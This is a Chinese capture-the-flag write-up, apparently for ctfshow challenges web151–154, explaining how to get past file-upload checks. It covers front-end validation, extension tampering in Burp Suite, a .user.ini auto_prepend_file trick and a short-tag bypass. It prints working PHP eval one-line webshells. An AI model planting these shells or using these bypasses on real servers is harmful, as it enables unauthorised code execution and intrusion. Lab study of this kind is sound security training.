web151
题目提示前端校验
F12查看前端代码,更改上传文件类型png为php,以便我们上传php后缀的代码文件。
写一句话木马,先命名为.txt,再更改为php后缀:
<?php @eval($_POST[123]); ?>
上传成功,得到上传的路径
查看根目录,没找到想要的文件名
再往当前文件的上级目录找
找到flag.php,访问即可
web152
像上题一样更改前端校验,上传php文件显示不符合上传类型。
需要上传规定的png文件,把上一题的php后缀改成png,再上传
得到上传到的路径
用bp抓包,修改png为php,才能使后台执行我们上传的代码,再点击send
POST传参如下,得到文件名flag.php
访问文件,得到flag
web153
采用上一题的方法上传png,在bp中修改为php后缀,回显错误。
又尝试修改为phP,还是上传错误,只能通过其他方法间接上传
nginx中有一个.user.ini文件:
.user.ini文件通常位于PHP安装目录的根目录下。当网站进行扫描时,会将.user.ini文件指向路径的内容包含在首页文件处
auto_prepend_file:表示在每个PHP脚本之前自动加载指定的文件。例如auto_prepend_file=111.png
auto_append_file:与auto_prepend_file类似,但内容将添加到PHP脚本的末尾。例如,auto_append_file=111.png
思路:
我们可以上传一个.user.ini文件,文件内容是auto_prepend_file=111.png,这样能成功执行文件内容,进而上传我们想要执行的内容。
首先还是上传111.png,内容是一句话木马:
<?php @eval($_POST[123]); ?>
创建一个.user.ini文件,并上传
bp抓包,添加.user.ini的文件内容
auto_prepend_file=111.png
显示文件上传成功,那么我们的一句话木马也上传成功
.user.ini上传到了index.php文件,一句话木马也在里面,需要在这个文件下进行post传参。
得到文件名
访问flag.php文件,得到flag
web154
还是和上题一样,上传user.ini,但显示格式不对,那么在文件名后面加上png后缀,再上传。
bp抓包,更改文件名,去掉后缀,并添加上命令
auto_prepend_file=111.png
发送后得到上传成功的显示:
然后和上题相同。上传内容为一句话木马的png文件,但显示文件内容不符合,可见对上传的内容进行了限制
删除一句话木马中的php后,显示上传成功,可见该题限制了上传内容不能有php
一句话木马,不使用php,就使用短标签,相当于是简写形式:
<?=eval($_POST[123]);?>
访问/upload/index.php,POST传参,得到flag.php
再访问flag.php
-